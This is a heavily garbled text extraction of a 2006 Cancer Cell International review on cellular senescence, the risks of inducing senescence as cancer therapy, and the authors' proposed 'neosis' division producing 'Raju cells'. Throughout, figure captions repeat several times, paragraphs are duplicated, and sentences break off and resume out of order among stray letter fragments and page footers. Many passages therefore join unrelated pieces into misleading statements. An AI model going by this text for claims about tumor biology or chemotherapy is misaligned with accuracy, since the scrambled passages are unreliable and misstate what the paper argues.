response pathways [88]. Tumor cells in vivo also display
the phenomenon of senescence in response to exposure to
genotoxins [reviewed in [19,84]]. Such cells may either
undergo cytostasis and may never undergo mitosis again,
even in the presence of growth factors, or they may die via
apoptoss or mitotic catastrophe, Some cells may escape
senescence and give rise to resistant tumor growth. (See
Fig. 1 for the possible different fates of cells after exposure
to genotoxins.) In general, the senescence checkpoint pathway genes such
as MAPK [104,105], and overexpression of p53 [reviewed
in [106]] and the genes that regulate p53 including ARF
(p14ARF in human or p19ARF in mice), p33ING1 [107],
PML [108-110], nucleoplasmin or NPM [111] and PTEN
[97] are all involved in the senescence-induced tumor
suppression program [Reviewed in [19,84]]. Since senescence appears to be a tumor suppressor mech-
anism, it appears attractive to induce senescence in
tumors in vivo in order to create a cytostatic state, where
the tumor may not be completely eliminated, but can be
maintained in a 'harmless' (non-proliferative) state
[19,84]. Senescence as a tumor suppressor mechanism pp
Since senescent cells do not respond to growth factors,
and display terminal mitotic crisis, the phenomenon of
senescence is thought to constitute a tumor suppressor
program [79-81] and is considered equivalent to the pro-
grammed cell death by apoptosis [82]. The relevance of
senescence as a tumor suppressor mechanism has been
recently demonstrated unequivocally in different tumor
systems in vitro and in vivo [81,83] and constitutes a fail-
safe, although not perfect, mechanism to inhibit cancer
growth. While senescent cells do not enter the mitotic cycle even
in the presence of growth factors, they are alive and
remain metabolically active in culture for several years
[84]. This cell cycle arrest is due to the tumor suppressor
action of the genes involved in the p53/pRb/p16Ink4
pathway collectively termed the senescence checkpoint
control. Abrogation of this pathway by mutation, epige-
netic mechanisms or viral inactivation of any one of these
genes bypasses senescence checkpoint and the cells grow
beyond their normal intrinsic MLS. After an additional 20
– 30 population doublings, the cells enter a terminal
mitotic crisis. During this second mitotic crisis period the
cells display apoptotic death due to gross chromosomal
abnormalities, some rare cells continue to proliferate
yielding an 'immortal' cell line, by an unknown mecha-
nism. These two mitotic crisis phases in the normal cell
life span have been termed M1 and M2 [58,85]. Inactivation of the tumor suppressor PTEN (a lipid phos-
phatase that negatively regulates PI3 Kinase-AKT/PKB sur-
vival pathway) produces hyperplasticity in mice prostate Page 5 of 26
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(page number not for citation purposes) Cancer Cell International 2006, 6:25 http://www.cancerci.com/content/6/1/25 epithelial cells similar to precancerous lesions in human
prostate epithelium. Expression of senescence markers
was reported [97] in these lesions, which was associated
with inhibition of the development of malignancy. Absence of p53 prevents the senescence response to loss
of PTEN and loss of both p53 and PTEN leads to invasive
prostate carcinoma in mice [97]. In another study, using a
conditional transgenic model with the mitogenic E2F3
transcription factor, Denchi et al., [98] have shown that
E2F3 expression induced a burst of initial pituitary hyper-
plasia followed by a cessation of cell proliferation accom-
panied by expression of senescence markers. Senescence as a tumor suppressor mechanism Michaloglou
et al., [99] have reported that in cultures of human
melanocytes and naevi, the benign precursors of malig-
nant melanoma, an oncogenic allele BRAF, a protein
kinase downstream of Ras, derived from human melano-
mas can induce sustained cell cycle arrest and senescence
in fibroblasts and melanocytes, accompanied by the
expression of p16INK4a and the common senescence
marker, SA-β-gal. Congenital naevi in vivo were invariably
positive for both SA-β-gal and spotty induction of
p16INK4a expression, indicating that factors other than
p16INK4a may cooperate with the mutant BRAF in bring-
ing about senescence phenotype. The senescence pheno-
type was not brought about by telomere attrition,
supporting the fact that oncogene-induced senescence is a
genuine case of protective physiological process. After an
initial cell proliferation, which results in the formation of
naevi, such lesions typically remain static and benign. any further proliferation, until it progresses to a malignant
state by additional mutations [112] and epimutations. This type of senescent phenotype appears to be caused by
a telomere attrition-independent or proliferative history-
independent mechanism and is termed premature or
accelerated senescence which is likely to be favored by the
absence of telomerase in somatic cells. However, cell types
which maintain telomere length due to endogenous tel-
omerase activity also display a senescent phenotype in
vitro. An example is rodent fibroblasts with long telomeres
and telomerase expression that can be induced to undergo
premature senescence due to culture conditions [85] or
after exposure to genotoxins [5]. Human epithelial cells
when grown on plastic will undergo senescence, but,
when cultured on a feeder layer, they proliferate indefi-
nitely without any sign of senescence [113]. These data
demonstrate that even in the absence of intrinsic mecha-
nism of limited life span due to telomerase expression,
such cells will respond to extrinsic factor(s)-induced
cumulative damage to DNA by entering premature senes-
cence phase. Induction of accelerated senescence as anti-cancer
therapy This approach is especially attractive, since initia- The above studies indicate that an initial burst of cell divi-
sion due to activation of an oncogene expression in pri-
mary diploid cells results in the formation of
premalignant tumor growth arrest with senescent mor-
phology, and such lesions often remain benign without Page 6 of 26
(page number not for citation purposes) Page 6 of 26
(page number not for citation purposes) Cancer Cell International 2006, 6:25
http://www.cancerci.com/content/6/1/25
Fate of cells exposed to genotoxins: Immediate effect of exposure to genotoxins is the arrest of cell cycle progression
Figure 1
Fate of cells exposed to genotoxins: Immediate effect of exposure to genotoxins is the arrest of cell cycle progression. Cells
with lethal damage will undergo necrotic death immediately or may commit immediate or delayed suicide by programmed cell
death or apoptosis. Adaptation I. Some cells with minimal damage may re-enter cell cycle after some delay and repair of dam-
age, and multiply normally without any immediate phenotypic changes. It is likely that some of these cells may carry epigenetic
alterations and undergo neosis after a latent period of accumulation of additional damage to the genome. Adaptation Ii. Some
cells become tetraploid due to cytokinesis failure. Some of them may commit apoptosis, or undergo mitotic catastrophe due to
active mitotic checkpoint; such cells often form micronuclei during death. Some of them may undergo successfully multipolar
mitosis, giving rise to aneuploid cells, which may not survive to give rise to clonal population of tumor cells. Adaptation III. A
major fraction of cells enter a premature senescent phase due to genotoxin-induced DNA damage; by about a week or so,
they express senescent markers such as SA-β-gal and SAHF in order to suppress tumor growth; they may become polyploid by
endomitosis ad endoreduplication. Most of them may eventually die. Adaptation IV. By about second week after exposure to
genotoxins, a few of the tetraploid and polyploid cells with genetic or epigenetic alterations in the senescence pathway may
undergo neosis to give rise to aneuploid Raju cells with transient stemness. These are the precursors of primary tumor growth
with extended MLS. They mature into tumor cells. Fate of cel
Figure 1
f Fate of cells exposed to genotoxins: Immediate effect of exposure to genotoxins is the arrest of cell cycle progression
Figure 1
Fate of cells exposed to genotoxins: Immediate effect of exposure to genotoxins is the arrest of cell cycle progression. Cells
with lethal damage will undergo necrotic death immediately or may commit immediate or delayed suicide by programmed cell
death or apoptosis. Adaptation I. Some cells with minimal damage may re-enter cell cycle after some delay and repair of dam-
age, and multiply normally without any immediate phenotypic changes. It is likely that some of these cells may carry epigenetic
alterations and undergo neosis after a latent period of accumulation of additional damage to the genome. Adaptation Ii. Some
cells become tetraploid due to cytokinesis failure. Some of them may commit apoptosis, or undergo mitotic catastrophe due to
active mitotic checkpoint; such cells often form micronuclei during death. Some of them may undergo successfully multipolar
mitosis, giving rise to aneuploid cells, which may not survive to give rise to clonal population of tumor cells. Adaptation III. A
major fraction of cells enter a premature senescent phase due to genotoxin-induced DNA damage; by about a week or so,
they express senescent markers such as SA-β-gal and SAHF in order to suppress tumor growth; they may become polyploid by
endomitosis ad endoreduplication. Most of them may eventually die. Adaptation IV. By about second week after exposure to
genotoxins, a few of the tetraploid and polyploid cells with genetic or epigenetic alterations in the senescence pathway may
undergo neosis to give rise to aneuploid Raju cells with transient stemness. These are the precursors of primary tumor growth
with extended MLS. They mature into tumor cells. At the end of their limited MLS, they reach senescent phase and undergo S/
T-neosis and repeat the cycle of extended MLS, senescence, mitotic crisis and neosis several times, thus rejuvenating the supply
of resistant (malignant) Raju cells in a highly non-synchronous fashion. (See the text for further details). Fate of cells exposed to genotoxins: Immediate effect of exposure to genotoxins is the arrest of cell cycle progression
Figure 1
Fate of cells exposed to genotoxins: Immediate effect of exposure to genotoxins is the arrest of cell cycle progression. Cells
with lethal damage will undergo necrotic death immediately or may commit immediate or delayed suicide by programmed cell
death or apoptosis. Adaptation I. Induction of accelerated senescence as anti-cancer
therapy At the end of their limited MLS, they reach senescent phase and undergo S/
T-neosis and repeat the cycle of extended MLS, senescence, mitotic crisis and neosis several times, thus rejuvenating the supply
of resistant (malignant) Raju cells in a highly non-synchronous fashion. (See the text for further details). Cancer Cell International 2006, 6:25 http://www.cancerci.com/content/6/1/25 F t
f
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d t
t
i
I
di t
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i
i th
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i
Fi
1 Neosis-like events in the literature (Table 1) (
)
Neosis-like events have been reported in the literature
sporadically for more than a century [120] under different
names [Reviewed in [6]]. Although to date, these events
were not generally correlated with any functional signifi-
cance, it is becoming clear that such a process is involved
in the escape of senescent cells into neoplastic cells
[Reviewed in [6]]. The earliest report that suggested a con-
nection between neosis-like events with escape from the
senescent primary cells was by Zitcer and Dunnabecke
[121]. These authors reported that human senescent
amniocytes bypassed senescence via nuclear budding fol-
lowed by cellularization. Zybina et al., [122,123] have
reported spontaneous polyploidization via endomitosis
and endoreduplication during the differentiation of
mammalian, extraembryonic placental trophoblast giant
cells in vivo. Polyploidization was followed by fragmenta-
tion of the nucleus via nuclear budding into small indi-
vidual aneuploid nuclei, resulting in synsytium-like post-
budding multinucleate giant cells. Near the end of preg-
nancy, small individual cells were formed by asymmetric
cytokinesis and cellularization. However, as in the case of
p53+/+ MEF/MGB cells [5], these individual cells disinte-
grated without any further mitotic division. Based on the
similarities between the steps involved in the maturation
of trophoblasts and the process of neosis (Table 2), it was
suggested [6] that gestational trophoblastic cancers
[124,125] originate via neosis due to compromise of
some tumor suppressor function at different stages of tro- 4. Senescent cells facilitate tumorigenesis in adjacent cells
[119]. 5. Ageing senescent cells may accumulate additional
mutations due to oxidative damage and escape senescent
phase via neosis and may result in recurrence of resistant
tumor growth (See below). 6. Since most anti-cancer chemicals are carcinogenic, and
the tumor tissue is a mixture of normal and tumor cells,
chemotherapeutic drugs may facilitate tumorigenic trans-
formation of normal or preneoplastic cells [19]. Therefore, the approach of controlling cancer by inducing
senescence in vivo, although tempting, may in the long run
increase the chances of resistant tumor growth, or facili-
tate origin of new tumors. One has to better understand
the molecular events that regulate senescence and the
mode of escape from senescence in tumors, the longevity
and fate of senescent cells in vivo, before one can design
effective anti-cancer treatment strategies based on senes-
cence. http://www.cancerci.com/content/6/1/25 http://www.cancerci.com/content/6/1/25 Cancer Cell International 2006, 6:25 somatic, reduction division displayed by a subset of
multinucleate and/or polyploid giant cells or MN/PG cells
formed during the spontaneous senescent phase of nor-
mal cells at the end of their MLS or genetic stress-induced
accelerated senescence phase in tumor cells. It is character-
ized by: (1) chromosome distribution to daughter cells
via nuclear budding in the presence of an intact nuclear
envelope, (2) followed by asymmetric cytokinesis, giving
rise to an indefinite number of small, aneuploid, mitoti-
cally active cells termed Raju cells (Raju meaning King in
Telugu language), after which the polyploid neosis
mother cell (NMC) dies. Raju cells display transient stem
cell-like properties, and mature into tumor cells with
extended MLS, finally arriving at a secondary/tertiary
senescent phase. Neosis is interspersed with the extended
MLS of Raju cells and their senescent phase and is
repeated several times during tumor growth in a progres-
sively non-synchronous fashion. Further, neosis is also
responsible for the outgrowth of resistant tumor cells after
exposure to genotoxins. Neosis appears to be a mode of
origin and continuous growth of different tumor types,
including hematological malignancies, carcinoma and
sarcomas. The significant role of neosis appears to be fine
tuning the damaged genome by epigenetic modulation in
order to escape death via stress-induced senescence [5,6]. tion of the senescent phenotype is accompanied by sup-
pression of mitotic genes and overexpression of mitosis
inhibitor genes [Reviewed in [84,117]]. Accordingly, te
Poele et al., [118] have reported that in the archival breast
tumors from patients who had undergone chemotherapy,
when sectioned and stained for the senescent marker SA-
β-gal, 41% of the tumors stained positive. In untreated
controls only 10% of the tumors showed sporadic posi-
tive staining for SA-β-gal. Prof. E. Sikora, [Personal com-
munication] has obsrved that SA-β-gal positive cells can
undergo neosis, and tumor cells are apparently defective
in senescent checkpoint control(s), and chances are that
eventually some of these senescent cells might escape
senescence and give rise to resistant tumor growth via neo-
sis (see below). Therefore, induction of senescence as an
anti-cancer therapy should be approached with caution
for the following reasons: 1. Most of the genotoxins are carcinogens. 2. Tumor cells already have mutations in the senescent
checkpoint pathway. Therefore, the chances of some cells
escaping senescence are very high, especially in advanced
tumors. 2. http://www.cancerci.com/content/6/1/25 Tumor cells already have mutations in the senescent
checkpoint pathway. Therefore, the chances of some cells
escaping senescence are very high, especially in advanced
tumors. 3. Senescent cells secrete factors that can promote tumor
progression [81,119]. Page 8 of 26
(page number not for citation purposes) Fate of cel
Figure 1
f Some cells with minimal damage may re-enter cell cycle after some delay and repair of dam-
age, and multiply normally without any immediate phenotypic changes. It is likely that some of these cells may carry epigenetic
alterations and undergo neosis after a latent period of accumulation of additional damage to the genome. Adaptation Ii. Some
cells become tetraploid due to cytokinesis failure. Some of them may commit apoptosis, or undergo mitotic catastrophe due to
active mitotic checkpoint; such cells often form micronuclei during death. Some of them may undergo successfully multipolar
mitosis, giving rise to aneuploid cells, which may not survive to give rise to clonal population of tumor cells. Adaptation III. A
major fraction of cells enter a premature senescent phase due to genotoxin-induced DNA damage; by about a week or so,
they express senescent markers such as SA-β-gal and SAHF in order to suppress tumor growth; they may become polyploid by
endomitosis ad endoreduplication. Most of them may eventually die. Adaptation IV. By about second week after exposure to
genotoxins, a few of the tetraploid and polyploid cells with genetic or epigenetic alterations in the senescence pathway may
undergo neosis to give rise to aneuploid Raju cells with transient stemness. These are the precursors of primary tumor growth
with extended MLS. They mature into tumor cells. At the end of their limited MLS, they reach senescent phase and undergo S/
T-neosis and repeat the cycle of extended MLS, senescence, mitotic crisis and neosis several times, thus rejuvenating the supply
of resistant (malignant) Raju cells in a highly non-synchronous fashion. (See the text for further details). Page 7 of 26
(page number not for citation purposes) Page 7 of 26
(page number not for citation purposes) Page 7 of 26
(page number not for citation purposes) What is neosis? Neosis is the newly defined mode of cell division that
occurs only in senescent, polyploid cells, and has not been
observed in normal diploid cells. Neosis is a parasexual, Page 8 of 26
(page number not for citation purposes) Page 8 of 26
(page number not for citation purposes) http://www.cancerci.com/content/6/1/25 Cancer Cell International 2006, 6:25 Table 1: Neosis-like events reported in different cell systems of different species. N* = normal cells, T* = transformed or tumor cells,
M* = Mutant cells. Species
Cell type N* or T* 0r M*
MN/PGs
P- or S/T-neosis
Trigger
Conseuence
Reference
1. Snail
Primary cells N
Yes
P-neosis
Senescence
Established cell line
Walen, 2004
2. Chicken
Monocytes N
Yes
P-neosis
Senescence
Established cell line
Solari et al., 1965
3. Marsupial
Primary cells N
Yes
P-neosis
Senescence
Established cell line
Walen, 2004
4. Mouse
B16F10 melanoma cells
Yes
S/T-neosis (?)
Methotrexate
Resistant cell growth
Baroja et al. 1998. 5. Mouse
Embryonic stem cells M
Yes
P-neosis (?)
Parp-less
Teratocarcinoma
Nozaki et al., 1999
6. Mouse
C3H10T1/2 cells N
Yes
P-neosis
X-ray
Transformed foci
Sundaram et al. 2004
7. Mouse
C3H10T1/2 cells N
Yes
P-neosis
Etoposide
Transformed foci
Sundaram et al. 2004
8. Mouse
1ET1-C3H cells T
Yes
S/T-neosis
Spontaneous
Progression
Sundaram et al. 2004
9. Mouse
1ET1-C3H cells T
Yes
S/T-neosis
X-ray
Resistant cell growth
Sundaram et al 2004
10. Mouse
1ET1-C3H cells T
Yes
S/T-neosis
Etoposide
Resistant cell growth
Sundaram et al. 2004
11. Mouse
P53-/- MEF/MGB N
Yes
P-neosis
Senescence
Spont. Transformation
Sundaram et al. 2004
12. Mouse
P53+/+ MEF/MGB N
Yes
P-neosis
Senescence
Non-viable Raju cells
Sundaram et al. 2004
13. Mouse
P53-/- MEF/129B N
Yes
P-neosis
Senescence
Spont. Transformation
Sundaram et al. 2004
14. Mouse
P53+/+ MEF/129B N
Yes
P-neosis
Senescence
Non-viable Raju cells
Sundaram et al., 2004
15. Mouse
L cells T
Yes
S/T-neosis(?)
Arginine
Resistant tumor growth
Wheatley, Persnl communication
16. Armenian hamster
AHL cells N
Yes
P-neosis
X-ray
Transformed foci
Sundaram et al. 2004
17. Rat
REF N
Yes
P-neosis
X-ray
Transformed foci
Sundaram et al. 2004
18. Rat
X-REF23 N
Yes
P-neosis
X-ray
Transformed foci
Sundaram et al. 2004. 19. Rat
Adenocarcinoma cells
Yes
S/T-neosis
Cisplatin
Resistant tumor growth
Martin F, Persnl.communication
20. Mammals
Trophoblasts N
Yea
P-neosis (?)
Senescence
Non-viable Raju-like cells
Zybina et al., 1974, 1979
21. Human
Amniocytes N
Yes
P-neosis
Senescence
Estabished cell line
Zitcer and Dunnabecke, 1957
22. What is neosis? Human
HT 1080 cells T
Yes
S/T-Neosis
Chemical
Resistant tumor cells
Buikis et al., 1999
23. Human
Breast epithelial cells N
Yes
P-neosis (?)
Senescence
Transformed cell line
Romanov et al. q001. 24. Human
Prostate cancer cell PC3
Yes
S/t-Neosis
Doxotaxol
Resistant cell growth
Marakovskiy et al 2002
25. Human
Burkitt's lymphoma cells
Yes
S/T-neosis
Radiation
Resistant cell growth
Ivanov et al., 2003. 26. Human
Amnion cells N
Yes
P-neosis
senescence
Established cell line
Walen, 2004
27. Human
Amnion cells N
Yes
P-neosis
SV40
Transformed cells
Walen, 2004
28. Human
Adenocarcinoma cells
Yes
S/T-neosis
Spontaneous
Tumor progression
Sundaram et al. 2004
29. Human
FSK cells N
Yes
P-neosis
X-ray
Non-viable Raju cells
Sundaram et al. 2004
30. Human
MRC-5 cells N
Yes
P-neosis
X-ray
Non-viable Raju cells
Sundaram et al. 2004
31. Human
HTB11 cells T
Yes
S/T-neosis
Spontaneous
Tumor progression
Sundaram et al. 2004
32. Human
HTB11 cells T
Yes
S/T-neosis
X-ray
Tumor progression
Sundaram et al. 2004
33. Human
HeLa cells T
Yes
S/T-neosis
X-ray
Tumor progression
Sundaram et al. 2004
34. Human
Colon carcinoma HT116
Yes
S/T-neosis
Doxorubicin
Tumor progression
Sikora E, Persnl communication fferent cell systems of different species. N* = normal cells, T* = transformed or tumor cells, Table 1: Neosis-like events reported in different cell systems of different species. N* = normal cells, T* = transformed or tumor cells,
M* = Mutant cells. like events reported in different cell systems of different species. N* = normal cells, T* = transformed or tu
ls phoblast development. It is apparent that such a phenom-
enon is involved in the origin of tumor cells, due to
inadvertent expression of neotic gene(s) during DNA
damage-induced loss of p53 or related senescent check-
point genes. al., [130] have reported the immortalization of senescent
human breast epithelial cells in vitro; although the exact
events of this process has not been described; they men-
tion a process of micronucleation, which could be the
process of nuclear budding related to neosis [5] or the
nuclear fragmentation that occurs during mitotic catastro-
phe [131]. Solari et al., [126] have reported continuous production
of small mononucleate Raju-like cells by nuclear budding
from multinucleate giant polyploid cells formed by fusion
of avian senescent peripheral blood mononuclear cells in
vitro, even in the presence of an inhibitor of mitosis. What is neosis? These
cells resembled Raju cells in their morphology and fused
again initiating secondary nuclear budding to yield the
next generation of Raju-like cells. Although the authors
did not discus the relationship of their observations to
senescence, immortalization or transformation of cells,
these events are very similar to the primary (P-neosis) and
secondary/tertiary or S/T-neosis reported by us [5,6]. Walen in a series of articles [127-129] has reported similar
nuclear budding giving rise to viable cells with continuous
division potential in different cell systems. Romanov et While the above reports described the P-neosis-like events
in aging primary cells, recently S/T-neosis-like events have
been described in human cancer cell lines treated with
genotoxns. Upon exposure of human tumor derived
HT1080 cells to thiophosphomidium, cells reached a
rapid senescence state and produced 'macro cells' (poly-
ploid giant NMCs), which yielded small mononuclear
cells (Raju cells), by nuclear budding, a process termed
'sporosis' [132]. In a detailed study on Burkitt's lym-
phoma cells with mutant p53, Erenpreisa and her co-
workers [133-136] have described sequential events that
occur during radiation-induced neosis-like events that
resulted in the production of mitotically active Raju-like Page 9 of 26
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http://www.cancerci.com/content/6/1/25 Cancer Cell International 2006, 6:25 http://www.cancerci.com/content/6/1/25 Table 2: Similarities between trophoblast maturation and tumor cell self-renewal
Properties
Trophoblast
Tumor cell
1. Subject to ageing and senescence
Yes
Yes
2. Polyploidization by endomitosis and
endoreduplication
Yes
Yes
3. Polyploid giant cell undergoes neosis
Yes
Yes
4. Activation of telomerase
Yes
Yes
5. Multiple neotic offspring
Yes
Yes
6. Degradation and migration through
extracellular matrix
Yes
Yes
7. Secretion of proteases degrades extracellular
matrix
Yes
Yes
8. Invasive properties
Yes
Yes
9. Proteolysis of thrombin receptor
Yes
Yes
10. Stimulation of invasive properties
Yes
Yes
11. Evasion of immune rejection
Yes
Yes
12. Activation of protooncogenes
Yes
Yes
13. Growth control by tumor suppressor genes
Yes. Under normal circumstances
No – Lost during neoplastic transformation
14. MLS of Raju cells or their equivalent
Limited MLS and perish at the end of pregnancy
Limited. Can extend MLS via repetitive S/T-
neosis. Table 2: Similarities between trophoblast maturation and tumor cell self-renewal mitosis and eventually die via mitotic catastrophe
[19,81,137,138]. What is neosis? Around 14–21 days post-exposure to
carcinogens, a minor subset of these senescence-like MN/
PGs (hereafter termed the neosis mother cells or NMCs),
before they died, produced several small mononuclear
cells by karyokinesis via nuclear budding in the presence
of the intact nuclear membrane. Each nuclear bud was
immediately loaded with genomic DNA and surrounded
by a small fragment of the cytoplasm delimited by plasma
membrane by asymmetric cytokinesis. Each NMC pro-
duced about 10+/- 2 Raju cells. The latter were very small
(~6–8 µm in diameter), had very high N/C ratio and
immediately after birth, resumed symmetric mitotic divi-
sion, inherited aneuploidy and genomic instability; they
grew in soft agar, and displayed genotype and phenotype
different from the mother cell. Presumably, they have
reactivated telomerase expression [139-141] that resulted
in the extension of their mitotic life span (MLS). Thus
neosis and not mitosis is the mode of cell division result-
ing in tumorigenesis. cells. Makaravskiy et al., [89] reported that exposure of
PC3 prostate cancer cells to docetaxel resulted in growth
arrest, multinucleation and giant cell formation, which
gave rise to docetaxel-resistant clones; this resistance was
associated with transient expression of a β-tubulin iso-
form and was independent of P-glycoprotein, bcl2 and
bcl-xl expression. The recent literature showing neosis-like
events are listed in Table 1. In every case, senescent MN/
PGs yield mononuclear Raju-like cells that display
extended MLS. Page 10 of 26
(page number not for citation purposes) http://www.cancerci.com/content/6/1/25 http://www.cancerci.com/content/6/1/25 http://www.cancerci.com/content/6/1/25 Cancer Cell International 2006, 6:25 We, therefore, hypothesize that self-renewal of cancer
growth is made feasible by the transient re-expression of
some stem cell properties in Raju cells. This, probably,
occurs after epigenetic modulation of the non-viable poly-
ploid genome of NMC prior to the neotic S phase or SN
phase. Unlike in the mitotic S phase or SM, where DNA is
replicated only once before each division, during the SN
phase, DNA is replicated several times and the newly syn-
thesized DNA is preferentially transported to the nuclear
bud, followed by asymmetric cytokinesis. Thus, the NMCs
display stem cell behavior in that the newly synthesized
genomic DNA is asymmetrically segregated to the daugh-
ter Raju cells [5,6]. The nascent Raju cell genome often
underwent mitotic division even before cellularization
while still within the cytoplasm of the NMC [6,133]. to 50 or more Raju cells, which by repetitive mitosis gave
rise to spontaneously transformed cell lines. All the NMCs
died within a month leaving the transformed cells in the
Petri plate. The isogenic control wild type p53+/+ MEF/
MGB cells underwent neosis yielding fewer number of
Raju cells, but these Raju cells died without yielding a
transformed cell line, probably due to the presence of
p53, which is detrimental to cells with genomic instability
[5,6,142] (see additional files 1, 2, 3, 4, 5, 6). to 50 or more Raju cells, which by repetitive mitosis gave
rise to spontaneously transformed cell lines. All the NMCs
died within a month leaving the transformed cells in the
Petri plate. The isogenic control wild type p53+/+ MEF/
MGB cells underwent neosis yielding fewer number of
Raju cells, but these Raju cells died without yielding a
transformed cell line, probably due to the presence of
p53, which is detrimental to cells with genomic instability
[5,6,142] (see additional files 1, 2, 3, 4, 5, 6). We also observed certain degree of plasticity in neosis,
where the nuclear budding during karyokinesis may
remain constant, but cytokinesis may follow immediately
to form Raju cells sequentially or be delayed to form post-
budding synsytium-like multinucleate cell, followed by
cytokinesis yielding several Raju cells simultaneously [6]. Raju cells are unique in that they transiently display cer-
tain stem cell-like properties such as extended, but limited
MLS, expression of telomerase, and potential to differen-
tiate. They entered symmetric mitotic division immedi-
ately after they became independent cells. Raju cells transiently display stem cell properties Raju cells are defined as the nascent daughter cells of
neotic division, before they undergo their first symmetric
mitosis. When the extended MLS of individual neotic
clones was studied by serial subculturing, around the 20th
passage they spontaneously underwent a senescent phase
and displayed mitotic crisis. Some of these MN/PGs spon-
taneously underwent secondary neosis, each NMC pro-
ducing ~10 +/- 2 secondary Raju cells, only to repeat the
cycle of EMLS followed by senescence, neosis, and pro-
duction of the next generation of Raju cells. [5]. We and others have reported neosis occurring in several
human and rodent tumor cell systems [5,6]. In tumor cell
cultures, neosis was repeated several times each neotic
division interspersed with extended, but limited, MLS of
the neotic offspring followed by a senescent phase. Thus,
during three years of continuous subculturing, human
metastatic neuroblastoma HTB11 cells underwent three
episodes of spontaneous senescence followed by S/T-neo-
sis and yielded new populations of mitotically active Raju
cells in a progressively non-synchronous fashion [5], (see
additional files 1, 2, 3, 4, 5, 6). The first and second epi-
sodes of mitotic crisis lasted for about 7 to 8 weeks (with
medium change twice a week) during which time the cells
remained in the senescent phase. The crisis period was
succeeded by neosis, giving rise to small, mononucleate
Raju cells with extended MLS. However, when HTB11
cells were subjected to carcinogen exposure, the senescent
phase lasted for only two weeks before the appearance of
Raju cells, reducing the duration of senescent phase and
mitotic crisis, indicating that genetic stress was high
enough to induce neosis within a shorter duration. This
implies that during spontaneous senescence and pro-
longed mitotic crisis (up to 7–8 weeks), the cells may
slowly be accumulating additional mutations (probably
due to oxidative stress) raising the level of genomic insta-
bility sufficient to induce spontaneous neosis. http://www.cancerci.com/content/6/1/25 The mitotic
derivatives of Raju cells grew larger in size and matured
into tumor cells in a couple of days, while undergoing
mitosis [5]. We interpret the increase in cell size during
the course of mitotic division as an embryonic cell prop-
erty that incorporates the G1 phase of the cell cycle
[6,143]. As they undergo symmetric mitotic proliferation,
they mature into tumor cells and probably undergo defec-
tive differentiation and gradually lose stem cell properties. At the end of their extended, but limited MLS, the tumor
cells spontaneously entered a senescent phase. Since these
cells have already lost some senescent checkpoint path-
way gene(s) function, some of these senescent cells stand
a good chance of undergoing S/T-neosis, thus contribut-
ing to the continuity of tumor cell lineage. Thus, Raju cells
behave like committed stem cells immediately after birth
and slowly acquire somatic cell properties during the pro-
lipherative phase. Given in the box below are some of the
stem cell properties of Raju cells and the somatic cell
properties of their mitotic derivatives (Table 3). Neosis bypasses senescence In 1998, using computerized video time-lapse micros-
copy, we started to study the cellular process involved in
transformed focus formation [5], which is considered to
be the in vitro equivalent of in vivo tumorigenicity [70-72]. This involved: (1) video documentation of the transfor-
mation process at the level of individual cells, (2) isola-
tion and cloning of the individual transformed foci
without being contaminated by surrounding non-trans-
formed cells, and (3) study the fate of these individual
neotic clones (Raju cells derived from a single neosis
mother cell or NMC) by serial cultivation under standard
culture conditions and under anchorage independent
conditions. These studies suggested that transformed
focus formation occurs via the novel process termed neo-
sis [5] and not via mitosis as previously thought. If neosis were the mode of transformation of normal cells
into neoplastic cells, the spontaneous transformation of
p53-/- mouse embryo fibroblasts should also involve
senescent phase followed by neosis. In fact this is what we
observed, when we studied the mode of spontaneous
transformation of p53-/- cells using a similar approach. The primary cultures of p53-/- MEF/MGB cells entered
senescent phase at the end of its diploid mitotic life span
(about 6–7 passages), and almost all of these MN/PGs
underwent spontaneous neotic division, each giving rise Exposure of C3H10T1/2 cells to carcinogens induced
accelerated formation of large senescent MN/PG cells that
are supposed to be permanently arrested from undergoing Page 10 of 26
(page number not for citation purposes) Page 10 of 26
(page number not for citation purposes) Page 11 of 26
(page number not for citation purposes) Transient stem cell properties of Raju cells: They are subject to aging and associated senescence brought about by telomere attrition. ,
y
p
9. Telomere attrition, chromosome breakage-fusion-bridge cycle or genetic stress will result in senescent phase with MN/PG formation, mitotic
crisis, and mitotic catastrophe. 9. Telomere attrition, chromosome breakage-fusion-bridge cycle or genetic stress will result in senescent phase with MN/PG formation, mitotic
crisis, and mitotic catastrophe. p
10. Absence of senescent check points constitutes a built-in mechanism for accumulation of additional mutations via breakage-fusion-bridge
cycle, setting in motion the next cycle of S/T-neosis [66, 67]. 10. Absence of senescent check points constitutes a built-in mechanism for accumulation of additional mutations via breakage-fusion-bridge
cycle, setting in motion the next cycle of S/T-neosis [66, 67]. pleting mitosis. This process is known as mitotic catastro-
phe or mitotic death [150,151,154,155]. pleting mitosis. This process is known as mitotic catastro-
phe or mitotic death [150,151,154,155]. tion of the cell in the mitotic cell cycle, and the severity of
the cellular damage. Cells with acute lethal damage may
undergo immediate necrosis, or some of them will initiate
the process of programmed cell death or apoptosis, which
may lead to immediate cell suicide or delayed death by a
day or two. In rare occasions, the cells may complete sev-
eral mitotic divisions and the whole clone of cells might
die simultaneously at a later date. Almost all the surviving
cells will stop synthesizing DNA immediately. A major
fraction of the surviving cells recover from the shock after
several hours of quiescence and reenter cell cycle, proba-
bly after repair (or misrepair) of DNA damage. Most of
such cells do not show any alterations in their morphol-
ogy or growth behavior at least immediately after recovery
[Fig. 1]. Since most cancer cells are deficient in the tumor suppres-
sor function of the p53/pRB/p16INK4a signal transduc-
tion pathway, the G1, and G2 checkpoint functions are
lost. After uncoupling apoptosis from G1 and S, tumor
cells with mutant p53 arrive at G2/M interphase, at which
time decisions regarding cell survival and death may be
initiated. Cells that did not repair the damage to DNA
arrive at G2 with point mutations and double strand
breaks. Some of the double strand breaks are repaired by
homologous recombination and non-homologous end
rejoining during the G2 arrest [152,153]. Most of the sur-
viving cells with unrepaired chromosomal lesions activate
the senescent program via the DNA damage response. Mitotic catastrophe and neosis are mutually exclusive with
opposite effects Chemotherapy and radiation therapy that target DNA as
well as the process of cell division have been used with
partial success as the main treatments of a variety of
human tumors [144]. In normal cells, cell cycle check-
points protect the cells from accumulating errors in the
genome by blocking cells at different points in the cell
cycle by enforcing the dependency of late events on the
completion of early events [145]. Exposure of cells to gen-
otoxins causes interruption of the progression of cell cycle
due to these different cell cycle checkpoint controls. The
individual cellular response to chemotherapeutic agents
will depend upon the nature of the agent used, the posi- Page 11 of 26
(page number not for citation purposes) Cancer Cell International 2006, 6:25 http://www.cancerci.com/content/6/1/25 Transient stem cell properties of Raju cells: p
p
j
